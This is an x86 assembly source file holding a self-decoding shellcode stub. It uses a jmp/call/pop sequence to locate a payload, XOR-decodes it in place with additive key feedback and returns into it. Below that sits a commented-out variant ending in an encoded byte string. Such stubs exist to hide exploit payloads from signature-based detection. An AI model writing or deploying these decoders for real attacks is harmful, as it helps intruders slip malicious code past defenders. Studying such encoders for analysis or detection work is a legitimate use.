.globl main

main:
	nop
__BEGIN__:
	mov  $0xdeaddead, %ebx
	jmp  end
back:
	pop  %esi
	push %esi
decode_loop:
	xor  %ebx, (%esi)
	lodsl
	add  %eax, %ebx
	test %eax, %eax
	jnz  decode_loop
	ret
end:
	call back	
__END__:

#
# additive feedback using xor key as opcodes
#
#main:
#	nop
#__BEGIN__:
#decoder:
#	xor  %eax, %eax
#	jmp  end
#back:
#	pop  %esi
#	push %esi
#front_loop:
#	mov  $0x48ad1e31, %ebx
#	add  %eax, %ebx
#	jnz  .-6
#	ret
#end:
#	call back
#__END__:
#	.ascii "\xfd\xd2\x61\x84\x6c\xba\xe9\x45\x47\xab\x9a\xf6\xfd\xff\xff\xff"
